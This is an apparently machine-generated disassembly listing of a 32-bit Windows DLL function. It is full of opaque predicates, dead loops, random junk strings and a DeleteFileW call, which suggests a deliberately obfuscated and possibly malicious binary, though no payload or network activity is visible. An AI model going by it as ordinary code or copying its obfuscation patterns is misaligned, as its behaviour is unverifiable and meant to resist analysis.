mov dword [ebp - 0x20], eax
cmp eax, 0x3dbb
jl 0x10021731
mov byte [ebp - 4], 0x25
cmp dword [ebp - 0x24], 0x7327
jge 0x1002178a
mov edx, str.iavufuvek_sdjipiue_vtvaok_ixecbyaus_drhcp_szhyi_gystnwi_hsivz_gmstsqq_kepav_jvcf_lhnfrz
mov ecx, 0x1007cb18
call fcn.100134d2
xor eax, eax
inc eax
push 0xfffffffffffffff8
pop edi
push 0x7012
push eax
push 0xb07
push 0x6c34
lea ecx, [ebp - 0x1f0]
mov dword [ebp - 4], 0x24
push ecx
push eax
push eax
push 0x7221
push 0x65ff
push 0xb2d
push 0xfe6
lea edx, [ebp - 0xb4]
mov ecx, 0xf2c
call fcn.1001e12c
add esp, 0x2c
mov dword [ebp - 0xb4], ebx
jmp 0x1002181a
mov eax, dword [ebp - 0xb4]
mov dword [ebp + eax*4 - 0x44c], 0xffffffff
inc dword [ebp - 0xb4]
cmp dword [ebp - 0xb4], 2
jl 0x10021803
mov eax, dword [ebp - 0x1f0]
xor esi, esi
inc esi
cmp esi, dword [eax]
sbb eax, eax
inc eax
mov dword [ebp - 0x20], eax
mov ecx, dword [ebp - 0x20]
mov edx, dword [ebp - 0x1f0]
neg ecx
sbb ecx, ecx
xor eax, eax
neg ecx
cmp ecx, dword [edx + 4]
setl al
imul eax, dword [edx]
mov dword [ebp - 0x28], eax
mov eax, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x28]
mov eax, dword [ebp - 0x20]
mov eax, dword [ebp - 0x1c]
add eax, 0xffff0000
neg eax
sbb eax, eax
inc eax
cmp dword [edx + 4], eax
jg 0x1002186f
mov eax, dword [ebp - 0x28]
mov eax, dword [ebp - 0x1f0]
xor ecx, ecx
inc ecx
push eax
mov dword [eax], ecx
mov dword [ebp - 0x448], ecx
call fcn.10048e11
cmp dword [ebp - 0x34], 0x1279
pop ecx
mov dword [ebp - 0x1f0], ebx
mov dword [ebp - 0x1ec], ebx
mov dword [ebp - 0x1e8], ebx
jge 0x100218ad
push str.escbjfp_abl_dbhder_zeq_iky_zuskdj_unswggtcl_zbvjn_zcnufxap_kjbhp
call fcn.10048d40
pop ecx
or dword [ebp - 4], 0xffffffff
push 2
pop esi
mov dword [ebp - 0x108], ebx
mov dword [ebp - 0x30], esi
cmp esi, 6
jae 0x10021f0d
push 0x44a2
push ecx
push 1
push 0x341e
call fcn.1001e346
movzx eax, byte [ebp - 0x94]
add esp, 0x10
lea eax, [eax*2 + 2]
cmp esi, eax
jne 0x10021ccc
movzx eax, byte [ebp + esi - 0x94]
lea ecx, [ebp - 0x35c]
mov dword [ebp - 0x44], eax
inc eax
push 1
mov dword [ebp - 0x108], eax
call fcn.100013b5
mov dword [ebp - 4], 0x29
lea ecx, [ebp - 0x384]
mov dword [ebp - 0x20], 0x8cda2ae7
mov dword [ebp - 0x24], 5
mov dword [ebp - 0x28], 0xd0e75d5
mov dword [ebp - 0x18], 6
mov dword [ebp - 0x4c], 0xfffffff6
mov dword [ebp - 0x6c], ebx
push 2
call fcn.100013b5
mov byte [ebp - 4], 0x2a
mov dword [ebp - 0x34], 0x67bc620
mov dword [ebp - 0x3c], 0x1c4edd67
mov dword [ebp - 0x24], 0x5b62
cmp dword [ebp - 0x24], 0x5f08
jle 0x100219df
mov edx, ebx
mov dword [ebp - 0x1c], ebx
mov ecx, ebx
mov dword [ebp - 0x20], ebx
mov edi, ebx
mov esi, ebx
mov eax, esi
and eax, edi
xor eax, ecx
lea ecx, [ebp - 0x5b4]
xor eax, edx
cdq
push edx
push eax
call fcn.10001311
pop ecx
pop ecx
cmp dword [eax + 0x14], 0x10
jb 0x1002199a
mov eax, dword [eax]
push eax
call fcn.10048d40
pop ecx
push ebx
push 1
lea ecx, [ebp - 0x5b4]
call fcn.10001516
mov ecx, dword [ebp - 0x20]
inc esi
mov edx, dword [ebp - 0x1c]
cmp esi, 0x5c51
jl 0x1002197a
inc edi
cmp edi, 0xfe4
jl 0x10021978
inc ecx
mov dword [ebp - 0x20], ecx
cmp ecx, 0x305
jl 0x10021976
inc edx
mov dword [ebp - 0x1c], edx
cmp edx, 0x4992
jl 0x10021971
push 0x27f2
push 0x7206
push 0xb9a
xor eax, eax
lea edx, [ebp - 0x35c]
inc eax
xor cl, cl
push eax
push 0x460c
push 0x2a85
push 0x4b57
push 0x473e
push eax
push 0x1ca3
push 0x1972
lea eax, [ebp - 0x58]
push eax
push 0x360e
call fcn.1001adfd
add esp, 0x34
cmp dword [ebp - 0x24], 0x5830
jge 0x10021a3e
push str.jct_bkrsvmjz_atwsgn_wkrhyepn_fmergbk_vveytojfx_kvvbtoxja_jxiqgzxee_krpdl_ojttu_kull_ysi_zlxhtefbm
call fcn.10048d40
pop ecx
mov dword [ebp - 4], 0x2a
mov dword [ebp - 0x58], ebx
jmp 0x10021a5b
mov eax, dword [ebp - 0x58]
mov dword [ebp + eax*4 - 0x2e4], 3
inc dword [ebp - 0x58]
cmp dword [ebp - 0x58], 2
jl 0x10021a4a
xor eax, eax
lea edx, [ebp - 0x384]
inc eax
lea ecx, [ebp - 0x58]
push eax
push eax
push eax
push 0x53ff
push 0x2283
push 0x2cc7
push 0x1d58
call fcn.1001aa20
add esp, 0x1c
mov dword [ebp - 0x58], ebx
jmp 0x10021aa2
mov eax, dword [ebp - 0x58]
mov dword [ebp + eax*4 - 0x3ac], 0x9adbd3d3
inc dword [ebp - 0x58]
cmp dword [ebp - 0x58], 3
jl 0x10021a91
mov eax, dword [ebp - 0x34]
dec dword [ebp - 0x34]
mov esi, dword [ebp - 0x384]
test eax, eax
je 0x10021ac1
xor eax, eax
inc eax
mov edi, eax
cmp dword [esi], eax
jg 0x10021ac3
mov edi, ebx
mov ecx, dword [ebp - 0x35c]
mov eax, dword [ecx]
mov dword [ebp - 0x20], eax
mov eax, dword [ecx]
mov dword [ebp - 0x24], eax
mov edx, dword [ebp - 0x24]
mov eax, dword [ebp - 0x35c]
sub edx, edi
neg edx
sbb edx, edx
xor ecx, ecx
inc edx
cmp dword [eax], edx
mov eax, dword [ebp - 0x20]
setle cl
xor edx, edx
cmp ecx, dword [esi + 4]
setge dl
xor ecx, ecx
sub eax, edx
cmp eax, dword [esi + 4]
mov eax, dword [ebp - 0x28]
setg cl
imul ecx, ecx, 0xb636
sub ecx, eax
imul eax, ecx, 0x3674
test eax, eax
je 0x10021b20
cmp dword [ebp - 0x28], ebx
je 0x10021b20
xor edx, edx
inc edx
mov ecx, edx
jmp 0x10021b25
xor edx, edx
mov ecx, ebx
inc edx
mov eax, dword [ebp - 0x35c]
mov eax, dword [eax]
imul eax, ecx
xor ecx, ecx
cmp eax, edx
setge cl
mov dword [ebp - 0x28], ecx
mov eax, dword [ebp - 0x2e0]
mov ecx, dword [ebp - 0x28]
sub ecx, eax
jne 0x10021b4e
cmp dword [ebp - 0x34], ebx
jne 0x10021b4e
mov edx, ebx
xor eax, eax
cmp edx, dword [esi + 4]
setne al
xor edx, edx
mov dword [ebp - 0x2e4], eax
mov eax, dword [ebp - 0x3a8]
mov ecx, dword [ebp - 0x18]
mov eax, dword [ebp - 0x18]
cmp ecx, eax
mov eax, dword [ebp - 0x3c]
setne dl
xor ecx, ecx
cmp edx, eax
setge cl
cmp ecx, 0xfff7
je 0x10021b8a
cmp dword [esi + 4], ebx
jne 0x10021b8a
mov ecx, ebx
jmp 0x10021b8d
xor ecx, ecx
inc ecx
push 0xfffffffffffffff7
pop eax
sub eax, ecx
neg eax
sbb eax, eax
inc eax
imul eax, dword [ebp - 0x6c]
test eax, eax
je 0x10021ba9
cmp dword [esi + 4], ebx
je 0x10021ba9
xor ecx, ecx
inc ecx
jmp 0x10021bab
mov ecx, ebx
xor eax, eax
cmp ecx, 0x16c0
sete al
imul eax, dword [ebp - 0x3a8]
cmp eax, 0x954f618e
mov eax, dword [ebp - 0x18]
sbb edx, edx
xor ecx, ecx
neg edx
cmp edx, eax
setne cl
xor eax, eax
inc eax
cmp eax, ecx
sbb eax, eax
neg eax
imul eax, dword [ebp - 0x3c]
neg eax
sbb eax, eax
xor edx, edx
inc eax
cmp eax, 0xb59559c2
mov eax, dword [ebp - 0x3a8]
setne dl
xor ecx, ecx
cmp eax, edx
setge cl
mov dword [ebp - 0x2e0], ecx
lea ecx, [ebp - 0x384]
call fcn.100015a3
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x35c]
call fcn.100015a3
mov esi, dword [ebp - 0x30]
dec esi
mov dword [ebp - 0x1c], 0x48261f9c
add esi, dword [ebp - 0x44]
mov dword [ebp - 0x1c], ebx
jmp 0x10021c3d
mov eax, dword [ebp - 0x1c]
mov dword [ebp + eax*4 - 0x3a0], 0xe446df3
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], 2
jl 0x10021c2c
lea eax, [ebp - 0x76]
mov byte [ebp - 0x76], bl
push eax
push ecx
push 0x1e17
push ecx
mov edx, 0x298a
mov cl, 1
call fcn.1001e64d
mov dword [ebp - 0x1c], ebx
add esp, 0x10
cmp dword [ebp - 0x1c], 0xfffffff2
jle 0x10021f02
push ecx
push ecx
push 1
sub esp, 0x10
mov dword [ebp - 0x18], 0x30f9
mov dword [ebp - 0x3c], 0x526c7153
lea edx, [ebp - 0x78]
mov dword [ebp - 0x3c], 0x64de8cc1
mov dword [ebp - 0x44], 9
push 0x2088
sub esp, 0x10
mov byte [ebp - 0x78], bl
push 0x6233
push ecx
call fcn.1001e5ce
add esp, 0x38
cmp dword [ebp - 0x18], ebx
jne 0x10021db3
cmp dword [ebp - 0x18], 0xfffffffe
je 0x10021d23
cmp dword [ebp - 0x18], ebx
jne 0x10021d23
mov edx, ebx
jmp 0x10021d26
xor edx, edx
inc edx
mov eax, dword [ebp - 0x18]
xor ecx, ecx
cmp edx, eax
mov eax, dword [ebp - 0x18]
setne cl
cmp edi, ecx
sbb ecx, ecx
xor edx, edx
neg ecx
cmp ecx, eax
mov eax, dword [ebp - 0x18]
setge dl
xor ecx, ecx
cmp edx, eax
mov eax, dword [ebp - 0x18]
setl cl
sub ecx, 0xffff
neg ecx
sbb ecx, ecx
inc ecx
mov dword [ebp - 0x44], ecx
xor ecx, ecx
cmp dword [ebp - 0x44], eax
setg cl
sub ecx, 0xfffffffc
neg ecx
sbb ecx, ecx
xor edx, edx
inc ecx
mov dword [ebp - 0x3c], ecx
mov eax, dword [ebp - 0x3c]
mov eax, dword [ebp - 0x18]
mov ecx, dword [ebp - 0x18]
mov eax, dword [ebp - 0x18]
cmp ecx, eax
mov eax, dword [ebp - 0x18]
setg dl
xor ecx, ecx
cmp edx, eax
setge cl
xor eax, eax
cmp ecx, 0x475761ac
setl al
xor ecx, ecx
cmp eax, 0xffffffff
setge cl
add ecx, dword [ebp - 0x18]
mov dword [ebp - 0x3c], ecx
mov eax, dword [ebp - 0x3c]
dec eax
cmp eax, 0xd38951fe
jne 0x10021db3
mov eax, ebx
jmp 0x10021db6
xor eax, eax
inc eax
movzx edx, byte [ebp + esi - 0x93]
mov dword [ebp - 0x44], eax
mov eax, esi
sub eax, dword [ebp - 0x108]
push 2
movzx eax, byte [ebp + eax - 0x96]
movzx ecx, word [ebp + eax*2 - 0xd0]
mov eax, ecx
and eax, edx
add eax, eax
sub ecx, eax
movzx eax, byte [ebp + esi - 0x94]
add ecx, edx
mov word [ebp + eax*2 - 0xd0], cx
mov dword [ebp - 0x1c], 0xb457102d
mov dword [ebp - 0x44], 0x920a6ff6
mov dword [ebp - 0x6c], 0xadd6
mov dword [ebp - 0x20], 1
mov dword [ebp - 0x30], 0xc280
mov dword [ebp - 0x18], ebx
pop ecx
jmp 0x10021e2f
mov eax, dword [ebp - 0x18]
mov dword [ebp + eax*4 - 0xfc], 0xce96f8f9
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], ecx
jl 0x10021e1e
mov dword [ebp - 0x18], ebx
jmp 0x10021e46
mov eax, dword [ebp - 0x18]
mov dword [ebp + eax*4 - 0x398], ebx
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], ecx
jl 0x10021e39
dec dword [ebp - 0x20]
mov eax, dword [ebp - 0x20]
mov eax, dword [ebp - 0xf8]
mov eax, dword [ebp - 0xfc]
cmp dword [ebp - 0xf8], ebx
jne 0x10021e68
mov eax, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x1c]
xor edx, edx
mov eax, dword [ebp - 0xf8]
mov eax, dword [ebp - 0x44]
mov eax, dword [ebp - 0xfc]
mov eax, dword [ebp - 0xfc]
mov ecx, dword [ebp - 0x6c]
sub ecx, eax
mov eax, dword [ebp - 0x1c]
cmp ecx, eax
mov eax, dword [ebp - 0x394]
setne dl
xor ecx, ecx
add edx, 7
cmp edx, eax
setne cl
cmp ecx, dword [ebp - 0x30]
jne 0x10021eb1
cmp dword [ebp - 0xfc], ebx
je 0x10021eb1
xor eax, eax
inc eax
jmp 0x10021eb3
mov eax, ebx
cmp eax, 0x9c1464f1
push 0x63ed
sbb eax, eax
neg eax
imul eax, dword [ebp - 0x398]
push 0x13f
push ebx
cmp eax, 0x87122a22
mov eax, dword [ebp - 0x1c]
sbb edx, edx
xor ecx, ecx
inc edx
cmp edx, eax
mov eax, dword [ebp - 0x1c]
setg cl
sub eax, ecx
neg eax
push ecx
sbb eax, eax
lea ecx, [ebp - 0x108]
inc eax
add eax, dword [ebp - 0x1c]
mov dword [ebp - 0xf8], eax
call fcn.1001c837
add esp, 0x10
push 0xfffffffffffffff8
add esi, 2
pop edi
jmp 0x100218ba
movdqa xmm0, xmmword [0x1006fc70]
lea ecx, [ebp - 0x4d8]
push ecx
lea eax, [ebp - 0x4c8]
push eax
push ecx
lea ecx, [ebp - 0x390]
movdqu xmmword [ebp - 0x4d8], xmm0
call fcn.10010e88
mov dword [ebp - 0x18], 0xffffffff
mov dword [ebp - 0x44], 0xfffffff9
push 3
mov dword [ebp - 0x20], 0xb8ce
pop ecx
mov dword [ebp - 0x30], ecx
mov dword [ebp - 0x1c], ebx
jmp 0x10021f68
mov eax, dword [ebp - 0x1c]
mov dword [ebp + eax*4 - 0x45c], 0x7911b9c6
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], ecx
jl 0x10021f57
mov dword [ebp - 0x18], ebx
cmp dword [ebp - 0x18], ecx
jg 0x10022006
mov dword [ebp - 0x30], 0xe7790660
mov ecx, dword [ebp - 0x18]
mov edx, dword [ebp - 0x18]
mov eax, dword [ebp - 0x390]
mov ecx, dword [eax + ecx*4]
sub ecx, dword [eax + edx*4]
jne 0x10021fca
mov eax, dword [ebp - 0x18]
xor edx, edx
mov eax, dword [ebp - 0x44]
mov eax, dword [ebp - 0x390]
mov ecx, dword [ebp - 0x18]
cmp dword [eax + 0xc], ebx
mov eax, dword [ebp - 0x390]
setne dl
mov dword [eax + ecx*4], edx
mov eax, dword [ebp - 0x20]
neg eax
sub eax, dword [ebp - 0x30]
neg eax
sbb eax, eax
inc eax
cmp eax, 7
jb 0x10021fca
mov eax, ebx
jmp 0x10021fcd
xor eax, eax
inc eax
mov dword [ebp - 0x30], eax
mov eax, dword [ebp - 0x30]
mov dword [ebp - 0x458], eax
cmp dword [ebp - 0x18], ebx
jne 0x10021fea
cmp dword [ebp - 0x458], ebx
jne 0x10021fea
mov ecx, ebx
jmp 0x10021fed
xor ecx, ecx
inc ecx
mov eax, dword [ebp - 0x20]
add eax, ecx
imul eax, dword [ebp - 0x20]
mov dword [ebp - 0x30], eax
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], 3
jle 0x10021f79
lea ecx, [ebp - 0x390]
call fcn.100015a3
xor eax, eax
lea ecx, [ebp - 0x130]
push 3
mov word [ebp - 0xce], ax
call fcn.100013b5
push ecx
lea eax, [ebp - 0xbc]
mov dword [ebp - 4], 0x2d
push eax
push ecx
lea eax, [ebp - 0x130]
mov dword [ebp - 0x18], 0x7df2f4a8
push eax
mov dword [ebp - 0x170], 0xee76373a
mov dl, 1
mov dword [ebp - 0x24], 0x3f2a6add
mov dword [ebp - 0x3c], 0xb132dc1b
push 0x4b47
call fcn.1001e612
add esp, 0x14
mov dword [ebp - 0xbc], ebx
jmp 0x1002208b
mov eax, dword [ebp - 0xbc]
mov dword [ebp + eax*4 - 0x138], 0x9c63c407
inc dword [ebp - 0xbc]
cmp dword [ebp - 0xbc], 2
jl 0x10022074
push ecx
lea eax, [ebp - 0x7d]
mov byte [ebp - 0x7d], bl
push eax
push ecx
mov cl, 1
call fcn.1001e6ab
add esp, 0xc
mov dword [ebp - 0x18], ebx
cmp dword [ebp - 0x18], 2
jg 0x10022496
mov dword [ebp - 0x1c], 0x5121ac48
mov dword [ebp - 0x34], 0xfffffffa
mov dword [ebp - 0x30], 0x2326
cmp dword [ebp - 0x30], 0x2452
jle 0x10022135
push ebx
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
mov ecx, ebx
mov dword [ebp - 0x20], ebx
mov edi, ebx
mov esi, ebx
lea eax, [esi + edi]
xor eax, ecx
lea ecx, [ebp - 0x5d8]
cdq
push edx
push eax
call fcn.10001311
pop ecx
pop ecx
cmp dword [eax + 0x14], 0x10
jb 0x100220ff
mov eax, dword [eax]
push eax
call fcn.10048d40
pop ecx
push ebx
push 1
lea ecx, [ebp - 0x5d8]
call fcn.10001516
mov ecx, dword [ebp - 0x20]
inc esi
cmp esi, 0x1461
jl 0x100220e2
inc edi
cmp edi, 0x2e8f
jl 0x100220e0
inc ecx
mov dword [ebp - 0x20], ecx
cmp ecx, 0x6069
jl 0x100220de
cmp dword [ebp - 0x30], 0x22b8
jge 0x10022149
push str.zdi_yfscexbg_vpa_vecwgo_piie_zgdoq_bmfbztjat_vpq_atfki_fkvvbyzz_hwmfghmik_mxhtwxq
call fcn.10048d40
pop ecx
mov dword [ebp - 4], 0x2d
mov dword [ebp - 0x20], 9
mov dword [ebp - 0x28], ebx
jmp 0x1002216d
mov eax, dword [ebp - 0x28]
mov dword [ebp + eax*4 - 0x378], 0x1d21f1eb
inc dword [ebp - 0x28]
cmp dword [ebp - 0x28], 3
jl 0x1002215c
push ecx
push 0x68e5
push ecx
lea eax, [ebp - 0x170]
xor dl, dl
push 0x2a88
push eax
call fcn.1001e612
mov ecx, dword [ebp - 0x18]
xor edx, edx
mov eax, dword [ebp - 0x130]
add esp, 0x14
cmp dword [eax + ecx*4], ebx
sete dl
xor ecx, ecx
mov dword [ebp - 0x134], edx
mov eax, dword [ebp - 0x18]
mov esi, dword [ebp - 0x130]
mov dword [ebp - 0x4c], esi
cmp edx, dword [esi + eax*4]
sete cl
imul ecx, dword [esi + 8]
test ecx, ecx
jne 0x100221e2
mov eax, dword [ebp - 0x24]
xor esi, esi
inc esi
cmp esi, eax
mov eax, dword [ebp - 0x134]
sbb edx, edx
inc edx
cmp edx, eax
setge cl
mov dword [ebp - 0x1c], ecx
mov eax, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x18]
mov ecx, dword [ebp - 0x18]
xor edx, edx
mov eax, dword [ebp - 0x130]
inc edx
cmp dword [eax + ecx*4], edx
jg 0x100221f8
cmp dword [ebp - 0x1c], ebx
jne 0x100221fa
mov edx, ebx
mov esi, dword [ebp - 0x18]
xor ecx, ecx
mov eax, dword [ebp - 0x18]
cmp edx, eax
mov eax, dword [ebp - 0x374]
setl cl
xor edx, edx
cmp ecx, eax
mov eax, dword [ebp - 0x34]
setle dl
shl edx, 3
neg edx
sbb edx, edx
xor ecx, ecx
inc edx
cmp edx, eax
mov eax, dword [ebp - 0x130]
setle cl
cmp ecx, dword [eax + esi*4]
jge 0x1002223c
mov dword [ebp - 0x30], ebx
cmp dword [ebp - 0x138], ebx
je 0x10022243
mov dword [ebp - 0x30], 1
mov edx, dword [ebp - 0x18]
xor ecx, ecx
mov esi, dword [ebp - 0x18]
mov edi, dword [ebp - 0x18]
mov eax, dword [ebp - 0x18]
mov dword [ebp - 0x28], eax
mov eax, dword [ebp - 0x130]
mov dword [ebp - 0x6c], edi
mov edi, dword [ebp - 0x30]
cmp edi, dword [eax + edx*4]
mov edi, dword [ebp - 0x6c]
setg cl
xor edx, edx
cmp ecx, dword [eax + esi*4]
mov eax, dword [ebp - 0x20]
setle dl
mov esi, dword [ebp - 0x28]
xor ecx, ecx
cmp edx, eax
sete cl
sub ecx, dword [ebp - 0x18]
mov eax, dword [ebp - 0x130]
neg ecx
sbb ecx, ecx
inc ecx
mov dword [ebp - 0x44], ecx
xor ecx, ecx
mov edx, dword [ebp - 0x44]
cmp edx, dword [eax + edi*4]
setge cl
xor edx, edx
cmp ecx, dword [eax + esi*4]
mov eax, dword [ebp - 0x3c]
setg dl
xor ecx, ecx
cmp edx, eax
setge cl
add ecx, dword [ebp - 0x24]
je 0x10022404
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x130]
call fcn.100015a3
lea eax, [ebp - 0xd0]
push eax
lea ecx, [ebp - 0x5fc]
call fcn.10018b11
cmp dword [eax + 0x14], 8
jb 0x100224bf
mov eax, dword [eax]
movzx eax, word [eax]
lea ecx, [ebp - 0x5fc]
push ebx
push 1
mov dword [ebp - 0x6c], eax
call fcn.10011637
mov esi, ebx
mov dword [ebp - 0x24], ebx
cmp esi, 2
jae 0x100225d4
mov dword [ebp - 0x20], 0x730f94f3
mov dword [ebp - 0x20], ebx
jmp 0x100224fe
mov eax, dword [ebp - 0x20]
mov dword [ebp + eax*4 - 0x578], 0xec2e0cf5
inc dword [ebp - 0x20]
cmp dword [ebp - 0x20], 3
jl 0x100224ed
mov dword [ebp - 0x3c], 0x2153
cmp dword [ebp - 0x3c], 0x228d
jle 0x10022565
mov esi, ebx
mov dword [ebp - 0x30], ebx
mov edi, esi
mov esi, 0x2ff7
mov eax, edi
lea ecx, [ebp - 0x62c]
cdq
push edx
push eax
call fcn.10001311
pop ecx
pop ecx
cmp dword [eax + 0x14], 0x10
jb 0x1002253a
mov eax, dword [eax]
push eax
call fcn.10048d40
pop ecx
push ebx
push 1
lea ecx, [ebp - 0x62c]
call fcn.10001516
dec edi
dec esi
jne 0x10022520
mov esi, dword [ebp - 0x30]
inc esi
mov dword [ebp - 0x30], esi
cmp esi, 0x696a
jl 0x10022519
push 0x1015
push ecx
push ecx
push 0x16d3
push 0x3a90
xor dl, dl
mov ecx, 0x23a3
call fcn.1001eeb3
add esp, 0x14
cmp dword [ebp - 0x3c], 0x1d85
jge 0x10022599
push str.fnicz_pocs_scwrr_keslxap_swz_fty_wjrj
call fcn.10048d40
pop ecx
or dword [ebp - 4], 0xffffffff
mov dword [ebp - 0x20], 2
cmp dword [ebp - 0x20], ebx
jl 0x100225c1
mov dword [ebp - 0x4c], 1
mov dword [ebp - 0x4c], 0xbad86e52
mov eax, dword [ebp - 0x20]
dec dword [ebp - 0x20]
jns 0x100225a9
xor eax, eax
mov word [ebp + esi*2 - 0xd0], ax
inc esi
mov dword [ebp - 0x24], esi
jmp 0x100224d8
mov ecx, dword [ebp - 0x114]
shr ecx, 1
mov dword [ebp - 0x28], ecx
mov esi, dword [ebp - 0xb0]
lea eax, [esi + 1]
cmp eax, ecx
jae 0x1002305a
xor eax, eax
inc eax
push eax
push 0x734a
mov dl, al
mov cl, al
call fcn.1001e7a4
mov edi, dword [ebp - 0x2c]
pop ecx
pop ecx
lea ecx, [edi + esi*2]
call fcn.1001997f
mov dword [ebp - 0x15c], eax
mov dword [ebp - 0x30], 0x7179
cmp dword [ebp - 0x30], 0x74b5
jle 0x1002266f
mov edi, ebx
mov esi, ebx
mov eax, esi
lea ecx, [ebp - 0x650]
and eax, edi
cdq
push edx
push eax
call fcn.10001311
pop ecx
pop ecx
cmp dword [eax + 0x14], 0x10
jb 0x10022645
mov eax, dword [eax]
push eax
call fcn.10048d40
pop ecx
push ebx
push 1
lea ecx, [ebp - 0x650]
call fcn.10001516
inc esi
cmp esi, 0x487e
jl 0x10022629
inc edi
cmp edi, 0x747e
jl 0x10022627
mov edi, dword [ebp - 0x2c]
mov eax, dword [ebp - 0xb0]
add eax, 2
lea ecx, [edi + eax*2]
call fcn.1001997f
cmp dword [ebp - 0x30], 0x6f8b
mov dword [ebp - 0xf4], eax
jge 0x1002269a
push str.arki_euonj_iifqyzu_rxugsl_mpfvoje_oyrvgnp_dwuuvrat_qcop_ariccax
call fcn.10048d40
pop ecx
or dword [ebp - 4], 0xffffffff
cmp dword [ebp - 0x15c], 0xffffffff
jne 0x100226b4
cmp dword [ebp - 0xf4], 0
je 0x1002305a
push 1
lea ecx, [ebp - 0x3b8]
call fcn.100013b5
push 0x6e67
push 0x7c37
push 0xf84
xor eax, eax
mov dword [ebp - 4], 0x34
inc eax
lea ecx, [ebp - 0xc4]
push eax
push 0x203d
push ecx
push 0x6119
push 0x14a7
push eax
push 0x1a4c
push 0x6866
lea ecx, [ebp - 0x3b8]
mov edx, 0x69d6
push 0x3471
push ecx
mov cl, al
call fcn.1001adfd
xor edx, edx
mov dword [ebp - 0xc4], ebx
add esp, 0x34
inc edx
jmp 0x10022735
mov eax, dword [ebp - 0xc4]
mov dword [ebp + eax*4 - 0xcc], edx
inc dword [ebp - 0xc4]
cmp dword [ebp - 0xc4], edx
jl 0x10022722
mov dword [ebp - 0xcc], ebx
jmp 0x1002275e
mov dword [ebp - 4], 0x3e
cmp dword [ebp - 0x38], 0x1449
jge 0x10023077
mov edx, dword [ebp - 0x40]
mov ecx, 0x1007cb18
call fcn.100134d2
or dword [ebp - 4], 0xffffffff
xor eax, eax
inc eax
push 0xfffffffffffffff8
pop esi
mov dword [ebp - 0x1c], 0xfffffffa
lea ecx, [ebp - 0x278]
push eax
call fcn.100013b5
mov dword [ebp - 4], 0x40
lea ecx, [ebp - 0x278]
mov dword [ebp - 0x34], ebx
mov eax, 0x460deea3
mov dword [ebp - 0x24], 0x5daa
mov edx, 0x7efb
mov dword [ebp - 0x248], eax
mov dword [ebp - 0x244], eax
push 0x230
mov dword [ebp - 0x240], eax
mov dword [ebp - 0x23c], eax
lea eax, [ebp - 0x478]
push 0x4f28
push eax
xor eax, eax
inc eax
push eax
push 0x6ff7
push eax
push ebx
call fcn.1001d272
add esp, 0x1c
mov dword [ebp - 0x1c], 0x19
jmp 0x10023324
mov dword [ebp - 0x18], 1
mov dword [ebp - 0x30], ebx
mov dword [ebp - 0x4c], 0xfffffffc
mov dword [ebp - 0x6c], 0x93d7f28
mov dword [ebp - 0x20], ebx
jmp 0x10023156
mov eax, dword [ebp - 0x20]
mov dword [ebp + eax*4 - 0x260], 0x856dfc9b
inc dword [ebp - 0x20]
cmp dword [ebp - 0x20], 2
jl 0x10023145
mov dword [ebp - 0x18], ebx
jmp 0x10023303
mov dword [ebp - 0x38], 0xefcdf11b
mov dword [ebp - 0x40], 0x5ff74f57
mov dword [ebp - 0x2c], esi
mov dword [ebp - 0x2c], 4
mov eax, dword [ebp - 0x18]
mov ecx, dword [ebp - 0x18]
mov edx, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x278]
add edx, 0x5c2d7091
neg edx
sbb edx, edx
mov eax, dword [eax + ecx*4]
inc edx
sub eax, edx
xor edx, edx
mov dword [ebp - 0x34], eax
mov esi, dword [ebp - 0x18]
mov edi, dword [ebp - 0x18]
mov ecx, dword [ebp - 0x18]
mov eax, dword [ebp - 0x34]
cmp ecx, eax
mov eax, dword [ebp - 0x18]
setne dl
xor ecx, ecx
cmp edx, eax
setl cl
xor edx, edx
mov dword [ebp - 0x40], ecx
mov ecx, dword [ebp - 0x278]
mov eax, dword [ebp - 0x40]
cmp dword [ecx + esi*4], eax
setne dl
xor eax, eax
cmp edx, dword [ecx + edi*4]
setg al
xor edx, edx
mov dword [ebp - 0x38], eax
mov esi, dword [ebp - 0x18]
mov ecx, dword [ebp - 0x38]
mov eax, dword [ebp - 0x25c]
cmp ecx, eax
mov eax, dword [ebp - 0x278]
setl dl
add edx, dword [eax + esi*4]
je 0x100232e3
mov dword [ebp - 0x40], 0x2053
xor edx, edx
mov dword [ebp - 0x38], 4
inc edx
mov dword [ebp - 0x44], 0xffffffff
mov dword [ebp - 0x44], edx
cmp dword [ebp - 0x24], ebx
je 0x10023228
cmp dword [ebp - 0x18], ebx
je 0x10023228
mov edi, edx
cmp dword [ebp - 0x40], ebx
jne 0x1002322a
mov edi, ebx
mov eax, dword [ebp - 0x278]
xor ecx, ecx
cmp dword [eax], 0xda3b
sete cl
mov dword [ebp - 0x34], ecx
cmp dword [ebp - 0x34], ebx
je 0x1002324a
mov esi, edx
cmp dword [ebp - 0x4c], ebx
jne 0x1002324c
mov esi, ebx
mov eax, dword [ebp - 0x25c]
xor ecx, ecx
cmp esi, eax
setge cl
cmp ecx, 0xec6c
jge 0x10023268
mov eax, ebx
cmp dword [ebp - 0x1c], ebx
je 0x1002326a
mov eax, edx
dec dword [ebp - 0x2c]
cmp eax, 3
sbb eax, eax
neg eax
sub eax, dword [ebp - 0x44]
neg eax
sbb eax, eax
inc eax
cmp dword [ebp - 0x2c], eax
jge 0x10023288
cmp dword [ebp - 0x6c], ebx
jne 0x10023288
mov edx, ebx
mov eax, dword [ebp - 0x38]
xor ecx, ecx
cmp edx, eax
mov eax, dword [ebp - 0x30]
setne cl
xor edx, edx
cmp ecx, 1
setle dl
xor ecx, ecx
cmp edx, eax
setle cl
xor eax, eax
cmp edi, ecx
sete al
mov dword [ebp - 0x2c], eax
mov eax, dword [ebp - 0x2c]
sub eax, dword [ebp - 0x25c]
neg eax
sbb eax, eax
inc eax
mov dword [ebp - 0x240], eax
mov byte [ebp - 0x51], bl
cmp byte [ebp - 0x51], 0
je 0x100232f4
push ebx
xor eax, eax
mov ecx, 0xab1
inc eax
push 0x42ef
push eax
mov dl, al
call fcn.1001bdc6
jmp 0x100232f1
push ecx
push 1
push ecx
mov edx, 0x6b0c
call fcn.1001ef91
